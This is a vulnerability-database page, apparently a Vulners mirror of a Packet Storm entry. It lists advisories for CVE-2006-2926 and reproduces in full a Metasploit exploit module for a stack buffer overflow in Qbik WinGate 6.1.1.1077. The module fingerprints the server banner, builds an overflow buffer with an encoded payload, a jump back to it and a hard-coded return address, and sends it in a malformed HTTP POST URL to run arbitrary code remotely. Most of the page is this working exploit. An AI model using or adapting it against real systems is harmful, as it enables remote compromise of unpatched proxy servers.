Lucene search
K

Qbik WinGate WWW Proxy Server URL Processing Overflow

🗓️ 19 Feb 2010 00:00:00Reported by patrickType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Qbik WinGate WWW Proxy Server URL Processing Overflow, allows remote attackers to execute arbitrary code via a malformed HTTP POST UR

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
WinGate < 6.1.3 POST Request Buffer Overflow
9 Jun 200600:00
nessus
Tenable Nessus
WinGate POST Request Buffer Overflow
9 Jun 200600:00
nessus
Circl
CVE-2006-2926
20 Sep 201000:00
circl
CVE
CVE-2006-2926
9 Jun 200610:00
cve
Cvelist
CVE-2006-2926
9 Jun 200610:00
cvelist
Exploit DB
QBik WinGate WWW Proxy Server - URL Processing Overflow (Metasploit)
20 Sep 201000:00
exploitdb
Metasploit
Qbik WinGate WWW Proxy Server URL Processing Overflow
18 Feb 201015:58
metasploit
NVD
CVE-2006-2926
9 Jun 200610:02
nvd
Prion
Stack overflow
9 Jun 200610:02
prion
canvas
Immunity Canvas: WINGATE_HTTPPROXY
9 Jun 200610:02
canvas
Rows per page
`##  
# $Id: qbik_wingate_wwwproxy.rb 8547 2010-02-18 15:58:26Z patrickw $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Qbik WinGate version  
6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the   
HTTP proxy service on port 80, a remote attacker could overflow  
a buffer and execute arbitrary code.  
},  
'Author' => 'patrick',  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 8547 $',  
'References' =>   
[   
[ 'CVE', '2006-2926' ],  
[ 'OSVDB', '26214' ],  
[ 'BID', '18312' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi  
],  
'Privileged' => true,  
'DisclosureDate' => 'Jun 07 2006',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(80)  
], self.class)  
end  
  
def check  
connect  
sock.put("GET /\r\n\r\n") # Malformed request to get proxy info  
banner = sock.get_once  
if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
buff = Rex::Text.rand_text_alphanumeric(3000)  
buff[1200, 1000] = payload.encoded # jmp here  
buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi  
buff[2284, 4] = [target['Ret']].pack('V') #eip  
  
sploit = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"  
  
sock.put(sploit)  
sock.get_once(-1, 3)  
  
handler  
disconnect  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation